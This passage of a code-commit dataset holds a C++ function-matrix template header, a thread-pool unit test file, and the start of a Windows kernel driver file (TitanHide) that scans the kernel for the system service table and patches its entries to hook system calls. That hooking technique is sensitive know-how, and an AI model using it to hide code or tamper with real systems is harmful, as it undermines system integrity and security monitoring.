(std::get<1>(f.GetFunctions()).\n\t\t\t    GetFunctions()).GetFunctions());\n      return Pow()(F(), Add(p, 1_c));\n    }\n\n    typedef decltype(Combine(std::declval<in_type>())) type;\n  };\n}\n\n#endif\n<commit_msg>Adding simplification to multiply function matrices<commit_after>#ifndef MANIFOLDS_FUNCTIONS_FUNCTION_MATRIX_HH\n#define MANIFOLDS_FUNCTIONS_FUNCTION_MATRIX_HH\n\n#include \"function.hh\"\n#include \"matrix.hh\"\n\nnamespace manifolds {\n\n  template <class ... Functions>\n  struct RowHolder\n  {\n    RowHolder(Functions...fs):functions(fs...){}\n    std::tuple<Functions...> functions;\n    auto GetFunctions() const\n    {\n      return functions;\n    }\n  };\n\n  template <class ... Functions>\n  auto Row(Functions...fs)\n  {\n    return RowHolder<Functions...>(fs...);\n  }\n\n  template <class rows, class cols,\n\t    class ... Functions>\n  struct FunctionMatrixImpl :\n    Function<max<Functions::input_dim...>::value,\n\t     max<Functions::output_dim...>::value>\n  {\n    static const int num_rows = rows::value;\n    static const int num_cols = cols::value;\n    std::tuple<Functions...> functions;\n\n    template <class ... Rows>\n    FunctionMatrixImpl(Rows...rs):\n      functions(std::tuple_cat(rs.GetFunctions()...)){}\n\n    FunctionMatrixImpl(std::tuple<Functions...> f):\n      functions(f){}\n\n    template <class ... Args, std::size_t ... indices>\n    auto eval(std::integer_sequence<std::size_t,indices...>,\n\t      Args...args) const\n    {\n      return GetMatrix<rows::value,cols::value>\n\t(std::get<indices>(functions)(args...)...);\n    }\n\n    template <class ... Args>\n    auto operator()(Args...args) const\n    {\n      return eval(std::index_sequence_for<Functions...>(), args...);\n    }\n\n    auto GetFunctions() const\n    {\n      return functions;\n    }\n\n    auto GetOutputs() const\n    {\n      return functions;\n    }\n  };\n\n  DEF_FF_TEMPLATE(FunctionMatrix)\n\n  template <std::size_t rows, std::size_t cols,\n\t    class ... Functions>\n  auto GetFunctionMatrix(std::tuple<Functions...> functions)\n  {\n    return FunctionMatrix<\n      int_<rows>,int_<cols>,Functions...>(functions);\n  }\n\n  template <class ... Rows>\n  auto GetFunctionMatrix(Rows...rows)\n  {\n    return GetFunctionMatrix<\n      sizeof...(Rows),\n      std::tuple_size<\n\tdecltype(std::declval<\n\t\t typename first<Rows...>::type>().\n\t\t GetFunctions())>::value>\n      (std::tuple_cat(rows.GetFunctions()...));\n  }\n\n  template <class rows, class cols, class ... Functions>\n  std::ostream & operator<<\n  (std::ostream & s,\n   FunctionMatrix<rows, cols, Functions...> f)\n  {\n    s << \"FunctionMatrix<\" << rows::value << \", \"\n      << cols::value << \">\";\n    StreamVariadic(\"\", f, s);\n    return s;\n  }\n\n  template <class ... Functions>\n  auto GetRow(Functions ... functions)\n  {\n    return Row<Functions...>(functions...);\n  }\n\n}\n\n#include \"variables.hh\"\n#include \"trig.hh\"\n#include \"polynomial.hh\"\n\nnamespace manifolds {\n\n  template <class r1, class c1, class r2, class c2,\n\t    class ... F1s, class ... F2s>\n  struct Simplification<\n    Composition<FunctionMatrix<r1,c1,F1s...>,\n\t\tFunctionMatrix<r2,c2,F2s...>>>\n  {\n    typedef FunctionMatrix<r1,c1,F1s...> FMOut;\n    typedef FunctionMatrix<r2,c2,F2s...> FMIn;\n    static_assert(r2::value == 1 || c2::value == 1,\n\t\t  \"Inner function of composition must \"\n\t\t  \"be a row or column vector.\");\n    static const int dims =\n      r2::value == 1 ? c2::value : r2::value;\n    static_assert(dims == FMOut::input_dim,\n\t\t  \"Dimensionality of inner vector \"\n\t\t  \"must match input dimensionality of \"\n\t\t  \"outer vector.\");\n\n    template <class TupleO, class TupleI,\n\t      std::size_t ... iouts,\n\t      std::size_t ... iins>\n    static auto CombineHelper(TupleO t1, TupleI t2,\n\t\t\t      std::integer_sequence<\n\t\t\t      std::size_t, iouts...>,\n\t\t\t      std::integer_sequence<\n\t\t\t      std::size_t, iins...>)\n    {\n      return std::make_tuple(std::get<iouts>(t1)\n\t\t\t     (std::get<iins>(t2)...)...);\n    }\n\n    typedef Composition<FunctionMatrix<r1,c1,F1s...>,\n\t\t\tFunctionMatrix<r2,c2,F2s...>> in_type;\n\n    static auto Combine(in_type c)\n    {\n#ifdef PRINT_SIMPLIFIES\n      std::cout << \"Simplifying composition of function matrices\\n\";\n#endif\n      auto t = c.GetFunctions();\n      return GetFunctionMatrix<r1::value, c1::value>\n\t(CombineHelper(std::get<0>(t).GetFunctions(),\n\t\t       std::get<1>(t).GetFunctions(),\n\t\t       std::index_sequence_for<F1s...>(),\n\t\t       std::index_sequence_for<F2s...>()));\n    }\n\n    typedef decltype(Combine(std::declval<in_type>())) type;\n  };\n\n  template <int i, bool a, class ... FMFuncs>\n  struct Simplification<\n    Composition<Variable<i,a>,\n\t\tFunctionMatrix<FMFuncs...>>>\n  {\n    typedef typename nth<i+2,FMFuncs...>::type type;\n\n    static type Combine(Composition<Variable<i,a>,\n\t\t\tFunctionMatrix<FMFuncs...>> c)\n    {\n#ifdef PRINT_SIMPLIFIES\n      std::cout << \"Simplifying composition of \"\n\t\"variable and function matrix\\n\";\n#endif\n      return std::get<i>(std::get<1>(c.GetFunctions()).\n\t\t\t GetFunctions());\n    }\n  };\n\n  template <class r, class c, class ... Fs>\n  struct Simplification<\n    FunctionMatrix<r,c, Fs...>, 1>\n  {\n    typedef FunctionMatrix<r,c, Fs...> in_type;\n    static auto Combine(in_type m)\n    {\n#ifdef PRINT_SIMPLIFIES\n      std::cout << \"Simplifying individual elements \"\n\t\"of function matrix\\n\";\n#endif\n      auto t = m.GetFunctions();\n      return GetFunctionMatrix<r::value, c::value>\n\t(SimplifyIndividuals(t,\n\t\t\t     std::make_index_sequence<\n\t\t\t     std::tuple_size<\n\t\t\t     decltype(t)>::value>()));\n    }\n\n    typedef decltype(Combine(std::declval<in_type>())) type;\n  };\n\n  template <class F, class P, class r, class c>\n  struct Simplification<\n    Multiplication<\n    F, Composition<Pow,\n\t\t   FunctionMatrix<r,c,F,P>>>, 0,\n    typename std::enable_if<is_stateless<F>::value>::type>\n  {\n    typedef Multiplication<\n      F, Composition<Pow,\n\t\t     FunctionMatrix<r,c,F,P>>> in_type;\n    static auto Combine(in_type f)\n    {\n      auto p = std::get<1>(std::get<1>\n\t\t\t   (std::get<1>(f.GetFunctions()).\n\t\t\t    GetFunctions()).GetFunctions());\n      return Pow()(F(), Add(p, 1_c));\n    }\n\n    typedef decltype(Combine(std::declval<in_type>())) type;\n  };\n\n  template <class r1, class c1, class r2, class c2,\n\t    class ... F1s, class ... F2s>\n  struct Simplification<\n    Multiplication<FunctionMatrix<r1,c1,F1s...>,\n\t\t   FunctionMatrix<r2,c2,F2s...>>>\n  {\n    typedef Multiplication<\n      FunctionMatrix<r1,c1,F1s...>,\n      FunctionMatrix<r2,c2,F2s...>> in_type;\n    template <std::size_t row>\n      struct Inner1\n    {\n      template <std::size_t col>\n      struct Inner2\n      {\n\ttemplate <std::size_t ... is>\n\tstatic auto apply(in_type m, std::integer_sequence<\n\t\t\t  std::size_t, is...>)\n\t{\n\t  auto l = std::get<0>(m.GetFunctions()).GetFunctions();\n\t  auto r = std::get<1>(m.GetFunctions()).GetFunctions();\n\t  return Add((std::get<row*c1::value+is>(l) *\n\t\t      std::get<is*c2::value+col>(r))...);\n\t}\n      };\n      template <std::size_t ... is>\n      static auto apply(in_type m, std::integer_sequence<\n\t\t\tstd::size_t, is...>)\n      {\n\tstd::make_index_sequence<r2::value> s;\n\treturn std::make_tuple(Inner2<is>::apply(m, s)...);\n      }\n    };\n\n    template <std::size_t ... is>\n      static auto apply(in_type m, std::integer_sequence<\n\t\t\tstd::size_t, is...>)\n    {\n      std::make_index_sequence<c2::value> s;\n      return std::tuple_cat(Inner1<is>::apply(m, s)...);\n    }\n\n    static auto Combine(in_type m)\n    {\n      std::make_index_sequence<r1::value> s;\n      return\n\tGetFunctionMatrix<r1::value,c2::value>(apply(m,s));\n    }\n\n    typedef decltype(Combine(std::declval<in_type>())) type;\n  };\n\n  template <class F>\n  struct Simplification<\n    FunctionMatrix<int_<1>,int_<1>,F>>\n  {\n    typedef F type;\n    static type Combine(FunctionMatrix<int_<1>,int_<1>,F> f)\n    {\n      return std::get<0>(f.GetFunctions());\n    }\n  };\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"gmock\/gmock.h\" \n#include <chrono>\n#include <condition_variable>\n#include <mutex>\n#include <set>\n#include <vector>\n\n#include \"ThreadPool.h\"\n#include \"TestTimer.h\"\n\nusing namespace testing;\n\nclass ThreadPoolTest : public Test {\n    public:\n        ThreadPool pool;\n        std::condition_variable wasExecuted;\n        std::mutex m;\n        std::vector<std::shared_ptr<std::thread>> threads; \n \n        unsigned int count{0};\n \n        void incrementCountAndNotify() {\n            std::unique_lock<std::mutex> lock(m);\n            ++count;\n            wasExecuted.notify_all();\n        }\n       \n        void waitForNotificationOrFailOnTimeout(unsigned expectedCount, int milliseconds=100) {\n            std::unique_lock<std::mutex> lock(m);\n            ASSERT_THAT(wasExecuted.wait_for(lock, std::chrono::milliseconds(milliseconds), [&] { return count == expectedCount; }), Eq(true));      \n \n        } \n\n        void TearDown() override {\n            for (auto& t: threads) t->join();\n        }\n};\n\nTEST_F(ThreadPoolTest,PoolHasWorkAfterAdd) {\n    pool.add([]{});\n    ASSERT_THAT(pool.hasWork(), Eq(1));\n}\n\nTEST_F(ThreadPoolTest,PoolHasNoWorkAfterCreation) {\n    ASSERT_THAT(pool.hasWork(), Eq(0));\n}\n\nTEST_F(ThreadPoolTest,HasNoWorkAfterLastWorkIsPulled) {\n    pool.add([]{});\n    pool.add([]{});\n    auto work1 = pool.pull();\n    auto work2 = pool.pull();\n    ASSERT_THAT(pool.hasWork(), Eq(0));\n}\n\nTEST_F(ThreadPoolTest,HasWorkAfterOneWorkIsPulled) {\n    pool.add([]{});\n    pool.add([]{});\n    auto work = pool.pull();\n    ASSERT_THAT(pool.hasWork(), Eq(1));\n}\n\nTEST_F(ThreadPoolTest, PullsWorkInAThread) {\n    pool.start(4);\n    bool wasWorked{0};\n    std::function<void()> work = [&]() { \n         std::unique_lock<std::mutex> lock(m);\n         wasWorked = true;\n         wasExecuted.notify_all();\n    };\n\n    pool.add(work);\n    std::unique_lock<std::mutex> lock(m);\n    ASSERT_THAT(wasExecuted.wait_for(lock, std::chrono::milliseconds(100), [&] { return wasWorked; }), Eq(true));      \n}\n\nTEST_F(ThreadPoolTest, ExecutesMultipleWork) {\n    pool.start(4);\n    unsigned int NumberOfWorkItems{3};\n    std::function<void()> work = [&]() { incrementCountAndNotify(); };\n    \n    for(unsigned int i{0}; i < NumberOfWorkItems ; i++) {\n        pool.add(work);\n    } \n\n    waitForNotificationOrFailOnTimeout(NumberOfWorkItems);\n}\n\nTEST_F(ThreadPoolTest, DispatchMultipleClientThreads) {\n    pool.start(4);\n    unsigned int NumberOfWorkItems{10};\n    unsigned int NumberOfThreads{10};\n\n    std::function<void()> work = [&]() { incrementCountAndNotify(); };\n    \n    for(unsigned int i{0}; i < NumberOfThreads; i++) {\n        threads.push_back(std::make_shared<std::thread>([&] { \n            for(unsigned int j{0}; j < NumberOfWorkItems; j++) \n                pool.add(work); \n        })); \n    }\n\n    waitForNotificationOrFailOnTimeout(NumberOfThreads * NumberOfWorkItems);\n\n}\n\nTEST_F(ThreadPoolTest, MakesSureAllThreadsWorkToRetrieveFromQueue) {\n    unsigned int NumberOfThreads=4;\n    pool.start(NumberOfThreads);\n    std::set<std::thread::id> threadIds;\n\n    std::function<void()> work = [&]() { \n       threadIds.insert(std::this_thread::get_id()); \n       incrementCountAndNotify(); \n    };\n    \n    unsigned int NumberOfWorkItems{500};\n    for(unsigned int j{0}; j < NumberOfWorkItems; j++) { \n        pool.add(work); \n    }\n    waitForNotificationOrFailOnTimeout(NumberOfWorkItems);\n    ASSERT_THAT(threadIds.size(),Eq(NumberOfThreads));\n \n}\n\nTEST_F(ThreadPoolTest, FutureReturningInt) {\n    pool.start(4);\n\n    auto work = []() -> int { return 1000; } ;\n    auto result = pool.submit(work);\n    ASSERT_THAT(result.get(), Eq(1000));\n    \n}\n\nTEST_F(ThreadPoolTest, FutureReturningString) {\n    pool.start(4);\n\n    auto work = []() -> std::string { return \"1000\"; } ;\n    auto result = pool.submit(work);\n    ASSERT_THAT(result.get(), StrEq(\"1000\"));\n} \n  \nTEST_F(ThreadPoolTest,FactorialTest) {\n    pool.start(4);\n    auto work = [](int n) {\n      unsigned long long factorial = 1;\n      for(int i = 1; i <=n; ++i) {\n        factorial *= i;\n      }\n      \n      return factorial;\n\n    };\n    \n    auto result = pool.submit(work,12);\n    \n    ASSERT_THAT(result.get(), Eq(479001600));\n}\n\nTEST_F(ThreadPoolTest,TimingTestWithFuture) {\n    pool.start(4);\n    std::vector<std::future<unsigned long long>> results;\n    auto work = [](int n) {\n      unsigned long long factorial = 1;\n      for(int i = 1; i <=n; ++i) {\n        factorial *= i;\n      }\n      \n      return factorial;\n\n    };\n    \n    \n    TestTimer timer(\"4-sized-TP with Future\",0);\n    for (int i = 5; i < 60 ; i++) {\n        results.push_back(pool.submit(work,i));\n    }\n    \n    \n    for(unsigned int i = 0; i< results.size(); i++) {\n        results.at(i).get();\n    }\n}\n\nTEST_F(ThreadPoolTest,TimingTestWithCallback) {\n    pool.start(4);\n    \/\/ core dumps\n    std::vector<unsigned long long> results;\n    TestTimer timer(\"4-sized-TP-Callback\",0);\n    for (int n = 5; n < 60 ; n++) {\n        auto work = [&]() {\n            unsigned long long factorial = 1;\n            for(int i = 1; i <=n; ++i) {\n              factorial *= i;\n            }\n            {\n                std::lock_guard<std::mutex> guard(m); \n                results.push_back(factorial);\n            }\n            incrementCountAndNotify();\n        };\n        \n        pool.add(work);\n    }\n    \n    waitForNotificationOrFailOnTimeout(55);\n}\n\nTEST_F(ThreadPoolTest,TimingTestWithoutTP) {\n    \n    std::vector<unsigned long long> results;\n    auto work = [](int n) {\n      unsigned long long factorial = 1;\n      for(int i = 1; i <=n; ++i) {\n        factorial *= i;\n      }\n      \n      return factorial;\n\n    };\n    \n    \n    TestTimer timer(\"In Sequence\",0);\n    for (int i = 5; i < 60 ; i++) {\n        results.push_back(work(i));\n    }\n    \n     for(unsigned int i = 0; i< results.size(); i++) {\n        results.at(i);\n    }\n    \n}\n\n<commit_msg>Remove core dump message, as it was fixed<commit_after>#include \"gmock\/gmock.h\" \n#include <chrono>\n#include <condition_variable>\n#include <mutex>\n#include <set>\n#include <vector>\n\n#include \"ThreadPool.h\"\n#include \"TestTimer.h\"\n\nusing namespace testing;\n\nclass ThreadPoolTest : public Test {\n    public:\n        ThreadPool pool;\n        std::condition_variable wasExecuted;\n        std::mutex m;\n        std::vector<std::shared_ptr<std::thread>> threads; \n \n        unsigned int count{0};\n \n        void incrementCountAndNotify() {\n            std::unique_lock<std::mutex> lock(m);\n            ++count;\n            wasExecuted.notify_all();\n        }\n       \n        void waitForNotificationOrFailOnTimeout(unsigned expectedCount, int milliseconds=100) {\n            std::unique_lock<std::mutex> lock(m);\n            ASSERT_THAT(wasExecuted.wait_for(lock, std::chrono::milliseconds(milliseconds), [&] { return count == expectedCount; }), Eq(true));      \n \n        } \n\n        void TearDown() override {\n            for (auto& t: threads) t->join();\n        }\n};\n\nTEST_F(ThreadPoolTest,PoolHasWorkAfterAdd) {\n    pool.add([]{});\n    ASSERT_THAT(pool.hasWork(), Eq(1));\n}\n\nTEST_F(ThreadPoolTest,PoolHasNoWorkAfterCreation) {\n    ASSERT_THAT(pool.hasWork(), Eq(0));\n}\n\nTEST_F(ThreadPoolTest,HasNoWorkAfterLastWorkIsPulled) {\n    pool.add([]{});\n    pool.add([]{});\n    auto work1 = pool.pull();\n    auto work2 = pool.pull();\n    ASSERT_THAT(pool.hasWork(), Eq(0));\n}\n\nTEST_F(ThreadPoolTest,HasWorkAfterOneWorkIsPulled) {\n    pool.add([]{});\n    pool.add([]{});\n    auto work = pool.pull();\n    ASSERT_THAT(pool.hasWork(), Eq(1));\n}\n\nTEST_F(ThreadPoolTest, PullsWorkInAThread) {\n    pool.start(4);\n    bool wasWorked{0};\n    std::function<void()> work = [&]() { \n         std::unique_lock<std::mutex> lock(m);\n         wasWorked = true;\n         wasExecuted.notify_all();\n    };\n\n    pool.add(work);\n    std::unique_lock<std::mutex> lock(m);\n    ASSERT_THAT(wasExecuted.wait_for(lock, std::chrono::milliseconds(100), [&] { return wasWorked; }), Eq(true));      \n}\n\nTEST_F(ThreadPoolTest, ExecutesMultipleWork) {\n    pool.start(4);\n    unsigned int NumberOfWorkItems{3};\n    std::function<void()> work = [&]() { incrementCountAndNotify(); };\n    \n    for(unsigned int i{0}; i < NumberOfWorkItems ; i++) {\n        pool.add(work);\n    } \n\n    waitForNotificationOrFailOnTimeout(NumberOfWorkItems);\n}\n\nTEST_F(ThreadPoolTest, DispatchMultipleClientThreads) {\n    pool.start(4);\n    unsigned int NumberOfWorkItems{10};\n    unsigned int NumberOfThreads{10};\n\n    std::function<void()> work = [&]() { incrementCountAndNotify(); };\n    \n    for(unsigned int i{0}; i < NumberOfThreads; i++) {\n        threads.push_back(std::make_shared<std::thread>([&] { \n            for(unsigned int j{0}; j < NumberOfWorkItems; j++) \n                pool.add(work); \n        })); \n    }\n\n    waitForNotificationOrFailOnTimeout(NumberOfThreads * NumberOfWorkItems);\n\n}\n\nTEST_F(ThreadPoolTest, MakesSureAllThreadsWorkToRetrieveFromQueue) {\n    unsigned int NumberOfThreads=4;\n    pool.start(NumberOfThreads);\n    std::set<std::thread::id> threadIds;\n\n    std::function<void()> work = [&]() { \n       threadIds.insert(std::this_thread::get_id()); \n       incrementCountAndNotify(); \n    };\n    \n    unsigned int NumberOfWorkItems{500};\n    for(unsigned int j{0}; j < NumberOfWorkItems; j++) { \n        pool.add(work); \n    }\n    waitForNotificationOrFailOnTimeout(NumberOfWorkItems);\n    ASSERT_THAT(threadIds.size(),Eq(NumberOfThreads));\n \n}\n\nTEST_F(ThreadPoolTest, FutureReturningInt) {\n    pool.start(4);\n\n    auto work = []() -> int { return 1000; } ;\n    auto result = pool.submit(work);\n    ASSERT_THAT(result.get(), Eq(1000));\n    \n}\n\nTEST_F(ThreadPoolTest, FutureReturningString) {\n    pool.start(4);\n\n    auto work = []() -> std::string { return \"1000\"; } ;\n    auto result = pool.submit(work);\n    ASSERT_THAT(result.get(), StrEq(\"1000\"));\n} \n  \nTEST_F(ThreadPoolTest,FactorialTest) {\n    pool.start(4);\n    auto work = [](int n) {\n      unsigned long long factorial = 1;\n      for(int i = 1; i <=n; ++i) {\n        factorial *= i;\n      }\n      \n      return factorial;\n\n    };\n    \n    auto result = pool.submit(work,12);\n    \n    ASSERT_THAT(result.get(), Eq(479001600));\n}\n\nTEST_F(ThreadPoolTest,TimingTestWithFuture) {\n    pool.start(4);\n    std::vector<std::future<unsigned long long>> results;\n    auto work = [](int n) {\n      unsigned long long factorial = 1;\n      for(int i = 1; i <=n; ++i) {\n        factorial *= i;\n      }\n      \n      return factorial;\n\n    };\n    \n    \n    TestTimer timer(\"4-sized-TP with Future\",0);\n    for (int i = 5; i < 60 ; i++) {\n        results.push_back(pool.submit(work,i));\n    }\n    \n    \n    for(unsigned int i = 0; i< results.size(); i++) {\n        results.at(i).get();\n    }\n}\n\nTEST_F(ThreadPoolTest,TimingTestWithCallback) {\n    pool.start(4);\n    std::vector<unsigned long long> results;\n    TestTimer timer(\"4-sized-TP-Callback\",0);\n    for (int n = 5; n < 60 ; n++) {\n        auto work = [&]() {\n            unsigned long long factorial = 1;\n            for(int i = 1; i <=n; ++i) {\n              factorial *= i;\n            }\n            {\n                std::lock_guard<std::mutex> guard(m); \n                results.push_back(factorial);\n            }\n            incrementCountAndNotify();\n        };\n        \n        pool.add(work);\n    }\n    \n    waitForNotificationOrFailOnTimeout(55);\n}\n\nTEST_F(ThreadPoolTest,TimingTestWithoutTP) {\n    \n    std::vector<unsigned long long> results;\n    auto work = [](int n) {\n      unsigned long long factorial = 1;\n      for(int i = 1; i <=n; ++i) {\n        factorial *= i;\n      }\n      \n      return factorial;\n\n    };\n    \n    \n    TestTimer timer(\"In Sequence\",0);\n    for (int i = 5; i < 60 ; i++) {\n        results.push_back(work(i));\n    }\n    \n     for(unsigned int i = 0; i< results.size(); i++) {\n        results.at(i);\n    }\n    \n}\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Remove unused file<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"ssdt.h\"\r\n#include \"undocumented.h\"\r\n#include \"pe.h\"\r\n#include \"log.h\"\r\n#include \"ntdll.h\"\r\n\r\n\/\/structures\r\nstruct SSDTStruct\r\n{\r\n    LONG* pServiceTable;\r\n    PVOID pCounterTable;\r\n#ifdef _WIN64\r\n    ULONGLONG NumberOfServices;\r\n#else\r\n    ULONG NumberOfServices;\r\n#endif\r\n    PCHAR pArgumentTable;\r\n};\r\n\r\n\/\/Based on: https:\/\/github.com\/hfiref0x\/WinObjEx64\r\nstatic SSDTStruct* SSDTfind()\r\n{\r\n    static SSDTStruct* SSDT = 0;\r\n    if(!SSDT)\r\n    {\r\n#ifndef _WIN64\r\n        \/\/x86 code\r\n        UNICODE_STRING routineName;\r\n        RtlInitUnicodeString(&routineName, L\"KeServiceDescriptorTable\");\r\n        SSDT = (SSDTStruct*)MmGetSystemRoutineAddress(&routineName);\r\n#else\r\n        \/\/x64 code\r\n        ULONG kernelSize;\r\n        ULONG_PTR kernelBase = (ULONG_PTR)Undocumented::GetKernelBase(&kernelSize);\r\n        if(kernelBase == 0 || kernelSize == 0)\r\n            return NULL;\r\n\r\n        \/\/ Find KiSystemServiceStart\r\n        const unsigned char KiSystemServiceStartPattern[] = { 0x8B, 0xF8, 0xC1, 0xEF, 0x07, 0x83, 0xE7, 0x20, 0x25, 0xFF, 0x0F, 0x00, 0x00 };\r\n        const ULONG signatureSize = sizeof(KiSystemServiceStartPattern);\r\n        bool found = false;\r\n        ULONG KiSSSOffset;\r\n        for(KiSSSOffset = 0; KiSSSOffset < kernelSize - signatureSize; KiSSSOffset++)\r\n        {\r\n            if(RtlCompareMemory(((unsigned char*)kernelBase + KiSSSOffset), KiSystemServiceStartPattern, signatureSize) == signatureSize)\r\n            {\r\n                found = true;\r\n                break;\r\n            }\r\n        }\r\n        if(!found)\r\n            return NULL;\r\n\r\n        \/\/ lea r10, KeServiceDescriptorTable\r\n        ULONG_PTR address = kernelBase + KiSSSOffset + signatureSize;\r\n        LONG relativeOffset = 0;\r\n        if((*(unsigned char*)address == 0x4c) &&\r\n                (*(unsigned char*)(address + 1) == 0x8d) &&\r\n                (*(unsigned char*)(address + 2) == 0x15))\r\n        {\r\n            relativeOffset = *(LONG*)(address + 3);\r\n        }\r\n        if(relativeOffset == 0)\r\n            return NULL;\r\n\r\n        SSDT = (SSDTStruct*)(address + relativeOffset + 7);\r\n#endif\r\n    }\r\n    return SSDT;\r\n}\r\n\r\nPVOID SSDT::GetFunctionAddress(const char* apiname)\r\n{\r\n    \/\/read address from SSDT\r\n    SSDTStruct* SSDT = SSDTfind();\r\n    if(!SSDT)\r\n    {\r\n        Log(\"[TITANHIDE] SSDT not found...\\r\\n\");\r\n        return 0;\r\n    }\r\n    ULONG_PTR SSDTbase = (ULONG_PTR)SSDT->pServiceTable;\r\n    if(!SSDTbase)\r\n    {\r\n        Log(\"[TITANHIDE] ServiceTable not found...\\r\\n\");\r\n        return 0;\r\n    }\r\n    ULONG readOffset = NTDLL::GetExportSsdtIndex(apiname);\r\n    if(readOffset == -1)\r\n        return 0;\r\n    if(readOffset >= SSDT->NumberOfServices)\r\n    {\r\n        Log(\"[TITANHIDE] Invalid read offset...\\r\\n\");\r\n        return 0;\r\n    }\r\n#ifdef _WIN64\r\n    return (PVOID)((SSDT->pServiceTable[readOffset] >> 4) + SSDTbase);\r\n#else\r\n    return (PVOID)SSDT->pServiceTable[readOffset];\r\n#endif\r\n}\r\n\r\nstatic void InterlockedSet(LONG* Destination, LONG Source)\r\n{\r\n    \/\/Change memory properties.\r\n    PMDL g_pmdl = IoAllocateMdl(Destination, sizeof(LONG), 0, 0, NULL);\r\n    if(!g_pmdl)\r\n        return;\r\n    MmBuildMdlForNonPagedPool(g_pmdl);\r\n    LONG* Mapped = (LONG*)MmMapLockedPages(g_pmdl, KernelMode);\r\n    if(!Mapped)\r\n    {\r\n        IoFreeMdl(g_pmdl);\r\n        return;\r\n    }\r\n    InterlockedExchange(Mapped, Source);\r\n    \/\/Restore memory properties.\r\n    MmUnmapLockedPages((PVOID)Mapped, g_pmdl);\r\n    IoFreeMdl(g_pmdl);\r\n}\r\n\r\n#ifdef _WIN64\r\nstatic PVOID FindCaveAddress(PVOID CodeStart, ULONG CodeSize, ULONG CaveSize)\r\n{\r\n    unsigned char* Code = (unsigned char*)CodeStart;\r\n\r\n    for(unsigned int i = 0, j = 0; i < CodeSize; i++)\r\n    {\r\n        if(Code[i] == 0x90 || Code[i] == 0xCC)  \/\/NOP or INT3\r\n            j++;\r\n        else\r\n            j = 0;\r\n        if(j == CaveSize)\r\n            return (PVOID)((ULONG_PTR)CodeStart + i - CaveSize + 1);\r\n    }\r\n    return 0;\r\n}\r\n#endif \/\/_WIN64\r\n\r\nHOOK SSDT::Hook(const char* apiname, void* newfunc)\r\n{\r\n    SSDTStruct* SSDT = SSDTfind();\r\n    if(!SSDT)\r\n    {\r\n        Log(\"[TITANHIDE] SSDT not found...\\r\\n\");\r\n        return 0;\r\n    }\r\n    ULONG_PTR SSDTbase = (ULONG_PTR)SSDT->pServiceTable;\r\n    if(!SSDTbase)\r\n    {\r\n        Log(\"[TITANHIDE] ServiceTable not found...\\r\\n\");\r\n        return 0;\r\n    }\r\n    int FunctionIndex = NTDLL::GetExportSsdtIndex(apiname);\r\n    if(FunctionIndex == -1)\r\n        return 0;\r\n    if(FunctionIndex >= SSDT->NumberOfServices)\r\n    {\r\n        Log(\"[TITANHIDE] Invalid API offset...\\r\\n\");\r\n        return 0;\r\n    }\r\n\r\n    HOOK hHook = 0;\r\n    LONG oldValue = SSDT->pServiceTable[FunctionIndex];\r\n    LONG newValue;\r\n\r\n#ifdef _WIN64\r\n    \/*\r\n    x64 SSDT Hook;\r\n    1) find API addr\r\n    2) get code page+size\r\n    3) find cave address\r\n    4) hook cave address (using hooklib)\r\n    5) change SSDT value\r\n    *\/\r\n\r\n    static ULONG CodeSize = 0;\r\n    static PVOID CodeStart = 0;\r\n    if(!CodeStart)\r\n    {\r\n        ULONG_PTR Lowest = SSDTbase;\r\n        ULONG_PTR Highest = Lowest + 0x0FFFFFFF;\r\n        Log(\"[TITANHIDE] Range: 0x%p-0x%p\\r\\n\", Lowest, Highest);\r\n        CodeSize = 0;\r\n        CodeStart = PE::GetPageBase(Undocumented::GetKernelBase(), &CodeSize, (PVOID)((oldValue >> 4) + SSDTbase));\r\n        if(!CodeStart || !CodeSize)\r\n        {\r\n            Log(\"[TITANHIDE] PeGetPageBase failed...\\r\\n\");\r\n            return 0;\r\n        }\r\n        Log(\"[TITANHIDE] CodeStart: 0x%p, CodeSize: 0x%X\\r\\n\", CodeStart, CodeSize);\r\n        if((ULONG_PTR)CodeStart < Lowest)  \/\/start of the page is out of range (impossible, but whatever)\r\n        {\r\n            CodeSize -= (ULONG)(Lowest - (ULONG_PTR)CodeStart);\r\n            CodeStart = (PVOID)Lowest;\r\n            Log(\"[TITANHIDE] CodeStart: 0x%p, CodeSize: 0x%X\\r\\n\", CodeStart, CodeSize);\r\n        }\r\n        Log(\"[TITANHIDE] Range: 0x%p-0x%p\\r\\n\", CodeStart, (ULONG_PTR)CodeStart + CodeSize);\r\n    }\r\n\r\n    PVOID CaveAddress = FindCaveAddress(CodeStart, CodeSize, sizeof(HOOKOPCODES));\r\n    if(!CaveAddress)\r\n    {\r\n        Log(\"[TITANHIDE] FindCaveAddress failed...\\r\\n\");\r\n        return 0;\r\n    }\r\n    Log(\"[TITANHIDE] CaveAddress: 0x%p\\r\\n\", CaveAddress);\r\n\r\n    hHook = Hooklib::Hook(CaveAddress, (void*)newfunc);\r\n    if(!hHook)\r\n        return 0;\r\n\r\n    newValue = (LONG)((ULONG_PTR)CaveAddress - SSDTbase);\r\n    newValue = (newValue << 4) | oldValue & 0xF;\r\n\r\n    \/\/update HOOK structure\r\n    hHook->SSDTindex = FunctionIndex;\r\n    hHook->SSDTold = oldValue;\r\n    hHook->SSDTnew = newValue;\r\n    hHook->SSDTaddress = (oldValue >> 4) + SSDTbase;\r\n\r\n#else\r\n    \/*\r\n    x86 SSDT Hook:\r\n    1) change SSDT value\r\n    *\/\r\n    newValue = (ULONG)newfunc;\r\n\r\n    hHook = (HOOK)RtlAllocateMemory(true, sizeof(HOOKSTRUCT));\r\n\r\n    \/\/update HOOK structure\r\n    hHook->SSDTindex = FunctionIndex;\r\n    hHook->SSDTold = oldValue;\r\n    hHook->SSDTnew = newValue;\r\n    hHook->SSDTaddress = oldValue;\r\n\r\n#endif\r\n\r\n    InterlockedSet(&SSDT->pServiceTable[FunctionIndex], newValue);\r\n\r\n    Log(\"[TITANHIDE] SSDThook(%s:0x%p, 0x%p)\\r\\n\", apiname, hHook->SSDTold, hHook->SSDTnew);\r\n\r\n    return hHook;\r\n}\r\n\r\nvoid SSDT::Hook(HOOK hHook)\r\n{\r\n    if(!hHook)\r\n        return;\r\n    SSDTStruct* SSDT = SSDTfind();\r\n    if(!SSDT)\r\n    {\r\n        Log(\"[TITANHIDE] SSDT not found...\\r\\n\");\r\n        return;\r\n    }\r\n    LONG* SSDT_Table = SSDT->pServiceTable;\r\n    if(!SSDT_Table)\r\n    {\r\n        Log(\"[TITANHIDE] ServiceTable not found...\\r\\n\");\r\n        return;\r\n    }\r\n    